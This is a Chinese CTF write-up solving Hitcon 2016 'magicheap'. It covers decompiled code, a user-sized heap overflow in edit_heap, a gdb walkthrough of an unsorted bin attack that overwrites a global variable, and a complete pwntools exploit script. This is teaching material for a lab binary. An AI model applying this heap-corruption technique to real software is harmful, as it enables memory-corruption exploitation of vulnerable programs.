📎hitcon_magicheap.zip
今天,我们做一道unsorted bin漏洞相关的题目,这道题目出自 Hitcon CTF 2016。对于unsorted bin漏洞相关的知识有疑问的可以去看我之前的文档;废话不多说我们直接开始;
【查看保护】
1.静态分析:
我们先使用ida进行反汇编查看一下这道题目的c语言代码;
【mian函数】
int __fastcall __noreturn main(int argc, const char **argv, const char **envp) { int v3; // eax char buf[8]; // [rsp+0h] [rbp-10h] BYREF unsigned __int64 v5; // [rsp+8h] [rbp-8h] v5 = __readfsqword(0x28u); setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); while ( 1 ) { while ( 1 ) { menu(); read(0, buf, 8u); v3 = atoi(buf); if ( v3 != 4869 ) break; if ( (unsigned __int64)magic <= 0x1305 ) { puts("So sad !"); } else { puts("Congrt !"); l33t(); } } if ( v3 > 4869 ) goto LABEL_17; if ( v3 == 4 ) exit(0); if ( v3 > 4 ) { LABEL_17: puts("Invalid Choice"); } else { switch ( v3 ) { case 3: delete_heap(); break; case 1: create_heap(); break; case 2: edit_heap(); break; default: goto LABEL_17; } } } }这个mian函数的内容写的比较简单,我们就不过多进行阐述了;
【l33t函数】
int l33t() { return system("cat /home/magicheap/flag"); }我们发现这里的l33t函数里面可以直接查看flag;这样我们只用满足条件进入这个函数就行了;
【mian函数的14到28行】
menu(); read(0, buf, 8u); v3 = atoi(buf); if ( v3 != 4869 ) break; if ( (unsigned __int64)magic <= 0x1305 ) { puts("So sad !"); } else { puts("Congrt !"); l33t(); } }这里我们发现我们想进入这个函数需要满足两个条件1.v3=4869 2.magic > 0x1305;
这里的第一个条件我们可以很轻易的满足,但是第二个条件怎么满足呢?这里并没有可以直接写入magic的指令,我们先双击magic跟进看一下:
.bss:00000000004040F0 magic dq ? ; DATA XREF: main:loc_401803↑r这里我们跟进之后发现,这个magic是在bss段,这里我们没有什么思路怎么办呢?我们继续进行静态分析,看一下情况;
【create_heap】
unsigned __int64 create_heap() { int i; // [rsp+4h] [rbp-1Ch] size_t size; // [rsp+8h] [rbp-18h] char buf[8]; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); for ( i = 0; i <= 9; ++i ) { if ( !heaparray[i] ) { printf("Size of Heap : "); read(0, buf, 8u); size = atoi(buf); heaparray[i] = malloc(size); if ( !heaparray[i] ) { puts("Allocate Error"); exit(2); } printf("Content of heap:"); read_input((void *)heaparray[i], size); puts("SuccessFul"); return v4 - __readfsqword(0x28u); } } return v4 - __readfsqword(0x28u); }【delete_heap】
unsigned __int64 delete_heap() { unsigned int v1; // [rsp+0h] [rbp-10h] char buf[4]; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v3; // [rsp+8h] [rbp-8h] v3 = __readfsqword(0x28u); printf("Index :"); read(0, buf, 4u); v1 = atoi(buf); if ( v1 >= 0xA ) { puts("Out of bound!"); _exit(0); } if ( heaparray[v1] ) { free((void *)heaparray[v1]); heaparray[v1] = 0; puts("Done !"); } else { puts("No such heap !"); } return v3 - __readfsqword(0x28u); }【edit_heap】
unsigned __int64 edit_heap() { unsigned int v1; // [rsp+4h] [rbp-1Ch] size_t v2; // [rsp+8h] [rbp-18h] char buf[4]; // [rsp+14h] [rbp-Ch] BYREF unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); printf("Index :"); read(0, buf, 4u); v1 = atoi(buf); if ( v1 >= 0xA ) { puts("Out of bound!"); _exit(0); } if ( heaparray[v1] ) { printf("Size of Heap : "); read(0, buf, 8u); v2 = atoi(buf); printf("Content of heap : "); read_input((void *)heaparray[v1], v2); puts("Done !"); } else { puts("No such heap !"); } return v4 - __readfsqword(0x28u); }这里我们对这三个函数进行了简单的分析,我们发现这里并没有像use-after-free这样的漏洞,但是我们仔细看【edit_heap】的21行和23行,我们发现这里可以编辑的大小竟然是我们自己规定的,这也就是这里可以有一个堆溢出漏洞,这个出题人的胆子真是肥嘟嘟的;
【利用思路】
我们这里可以使用unlink漏洞,这个unlink漏洞就是将一个空闲的对块从双向链表上拆下来;具体情节看我的unlink文章,这里只是简单的描述,我们在进行unlink的时候会进行以下操作;
victim = unsorted_chunks(av)->bk; // 取尾部 bck = victim->bk; // 前驱 unsorted_chunks(av)->bk = bck; // ① 链表尾改指向 bck bck->fd = unsorted_chunks(av); // ② 往 bck+0x10 写 bin 头地址这里的victim就是我们一会需要利用的unsorted bin的堆块,这里的unsorted_chunks(av)就是连接unsorted bin的头;这里的bck其实就是我们在magic-0x10的地方进行伪造的一个“伪指针”
2.动态验证
我们既然已经知道怎么进行静态利用了,这里就进行动态验证一下;
gdb -q ./magicheap //这里-q的意思是静态启动gdb;set pagination off //关闭分页暂停,这样当输出的内容超过一屏的时候,gdb不会卡住 set confirm off //关闭危险操作,这里就是防止gdb废话比较多 set breakpoint pending on //允许预设“延迟生效”的断点 就是在程序没跑起来的时候下断点,不进行这样设置的话,gdb会找不到地址进行追问你 watch *(unsigned long*)0x4040f0 //这个watch是一个监视的指令,如果有谁修改magic就会立刻断下来 run【创建chunk块】
1 ← Create 128 ← size a ← content(敲个 a 回车就行,tty 下 read 会提前返回) 1 32 b 1 128 c 1 32 d这里我们创建了4个堆块,这里的堆块a是用来占位的可以进行省略,这个b,c,d是必须有的,b和c是我们进行漏洞利用的堆块,这个d是为了将我们的目标堆块和top分开,因为当我们将c进行释放之后,如果我们的c紧挨着top chunk的时候,free时,不会进入任何bin,而是直接合并回top chunk;
此时我们查看一下堆的情况,你应该看到这样:
Allocated chunk | PREV_INUSE Addr: 0x405000 Size: 0x90 (with flag bits: 0x91) Allocated chunk | PREV_INUSE Addr: 0x405090 Size: 0x30 (with flag bits: 0x31) Allocated chunk | PREV_INUSE Addr: 0x4050c0 Size: 0x90 (with flag bits: 0x91) Allocated chunk | PREV_INUSE Addr: 0x405150 Size: 0x30 (with flag bits: 0x31) Top chunk | PREV_INUSE Addr: 0x405180 Size: 0x20e80 (with flag bits: 0x20e81)此时我们释放堆块c之后,查看bins和heap的状态;
【bins】
fastbins empty unsortedbin all: 0x4050c0 —▸ 0x7ffff7bc4b78 ◂— 0x4050c0 smallbins empty largebins empty【heap】
Allocated chunk | PREV_INUSE Addr: 0x405000 Size: 0x90 (with flag bits: 0x91) Allocated chunk | PREV_INUSE Addr: 0x405090 Size: 0x30 (with flag bits: 0x31) Free chunk (unsortedbin) | PREV_INUSE Addr: 0x4050c0 Size: 0x90 (with flag bits: 0x91) fd: 0x7ffff7bc4b78 bk: 0x7ffff7bc4b78 Allocated chunk Addr: 0x405150 Size: 0x30 (with flag bits: 0x30) Top chunk | PREV_INUSE Addr: 0x405180 Size: 0x20e80 (with flag bits: 0x20e81)接着我们查看一下我们释放的chunk的状态;
x/4gx 0x4050c0【你应该看到】
0x4050c0: 0x0000000000000000 0x0000000000000091 0x4050d0: 0x00007ffff7bc4b78 0x00007ffff7bc4b78【伪造】
set *(unsigned long*)(0x4050c0+0x8) = 0x91 set *(unsigned long*)(0x4050c0+0x18) = 0x4040e0这里的0x4040e0怎么来的?
magic的地址是0x4040f0我们在进行unlinkl的时候会将目标堆的bk里的fd指针进行修改为目标堆块的fd指向的堆块;这个fd就是在bk指向的地址+0x10的地方,所以我们在进行写的时候需要将修改的地址-0x10,这样也就直接完成了修改;
我们修改完之后查看一下:
x/4gx 0x4050c0【你应该看到】
0x4050c0: 0x0000000000000000 0x0000000000000091 0x4050d0: 0x00007ffff7bc4b78 0x00000000004040e0【高能时刻】
我们将我们释放的堆块c申请回来:
1 128之后我们继续运行程序。输入4869;就会看到我们心心念念的shell了;
动态验证完了,我们就来编写脚本吧;
3.py脚本;
from pwn import * context(arch='amd64', os='linux', log_level='info') MAGIC = 0x4040f0 # nm 实测(非 PIE,直接取固定地址) MENU_4869 = 4869 def start(): p = process(['./ld-2.23.so', '--library-path', '.', './magicheap']) p.timeout = 3 # pwntools 的 send*after 默认无超时,交互错位会静默卡死 p.recvuntil(b'Your choice :') return p def create(p, size, content): p.sendline(b'1') p.recvuntil(b'Size of Heap : ') p.sendline(str(size).encode()) p.recvuntil(b'Content of heap:') p.send(content.ljust(size, b'\x00')[:size]) p.recvuntil(b'Your choice :') def edit(p, idx, size, content): p.sendline(b'2') p.recvuntil(b'Index :') p.sendline(str(idx).encode()) p.recvuntil(b'Size of Heap : ') p.sendline(str(size).encode()) p.recvuntil(b'Content of heap :') p.send(content.ljust(size, b'\x00')[:size]) p.recvuntil(b'Your choice :') def delete(p, idx): p.sendline(b'3') p.recvuntil(b'Index :') p.sendline(str(idx).encode()) p.recvuntil(b'Your choice :') def exploit(): p = start() create(p, 0x80, b'a' * 8) # idx0 create(p, 0x20, b'b' * 8) # idx1 <-- 溢出源 create(p, 0x80, b'c' * 8) # idx2 <-- victim,之后 free 进 unsorted bin create(p, 0x20, b'd' * 8) # idx3 <-- guard,防止 idx2 与 top 合并 delete(p, 2) # free(idx2) -> unsorted bin delete(p, 0) # free(idx0)(顺便让 idx1 成为唯一可用的溢出源) # idx1 的 chunk: malloc(0x20) -> chunk size 0x30,user 起点在 chunk+0x10 # 于是 payload 相对 user 起点的偏移: # 0x20 -> idx2 的 prev_size # 0x28 -> idx2 的 size (改成 0x91,仍在 unsorted 范围) # 0x30 -> idx2 的 fd # 0x38 -> idx2 的 bk = &magic - 0x10 payload = (b'a' * 0x20 + p64(0) + p64(0x91) + p64(0) + p64(MAGIC - 0x10)) edit(p, 1, len(payload), payload) # 触发:从 unsorted bin 取 victim -> bck->fd = unsorted_chunks(av) # 即 *(MAGIC-0x10+0x10) = *(MAGIC) = magic = main_arena+0x58 create(p, 0x80, b'e' * 8) # 菜单发 4869 -> magic > 4869 -> l33t() -> cat flag # `l33t()` 里的 system() 输出是**分批到达**的,只 recv 一次会漏掉 flag p.sendline(str(MENU_4869).encode()) out = b'' for _ in range(4): try: chunk = p.recv(timeout=1.5) except Exception: break if not chunk: break out += chunk if b'Congrt' in out and len(out) > 20: break return out if __name__ == '__main__': out = exploit() print('---------------- 输出 ----------------') print(out.decode(errors='replace')) print('--------------------------------------') if b'Congrt' in out or b'flag' in out or b'{' in out: log.success('unsorted bin attack 成功,magic 已被改大') else: log.warning('未观察到预期输出')